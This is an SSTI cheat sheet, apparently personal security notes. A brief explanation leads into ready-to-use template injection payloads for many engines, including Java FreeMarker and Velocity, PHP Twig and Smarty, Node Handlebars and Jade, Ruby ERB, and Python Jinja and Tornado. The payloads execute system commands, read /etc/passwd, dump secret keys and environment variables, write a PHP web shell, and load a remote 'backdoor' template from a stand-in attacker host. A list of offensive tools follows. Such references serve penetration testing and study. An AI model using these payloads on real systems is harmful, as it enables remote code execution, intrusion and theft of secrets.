3.1 KiB
3.1 KiB
SSTI
SSTI stands for Server-side template injection. If the web app is vulnerable then the hacker could get remote code execution (RCE) on the web server. Web devs use template engines so they can show dynamic data. Often template engines are used in coe like CMS, blogs and wikis. It can also be fount in web apps that turn a HTML page to a PDF. The hacker might be able to inject code that the web app will read and execute by accident. The hacker might need to bypass some restrictions.
Polyglot
This can be used to detect SSTI vulnerablies
${{<%[%'"}}%\
FreeMarker - Java
${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
Java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
Twig PHP
Twig (PHP):
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
Smarty PHP
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Handlballs NodeJS
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Velocity
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
ERB Ruby
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
Django Python
{% debug %}
{{settings.SECRET_KEY}}
Tornado Python
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
Mojolicious Perl
Mojolicious (Perl):
<%= perl code %>
<% perl code %>
Flask / Jinja
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
Jade
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Razor .Net
@(1+2)
@{// C# code}
Tools
- https://github.com/epinna/tplmap
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://github.com/mez-0/ssti-payload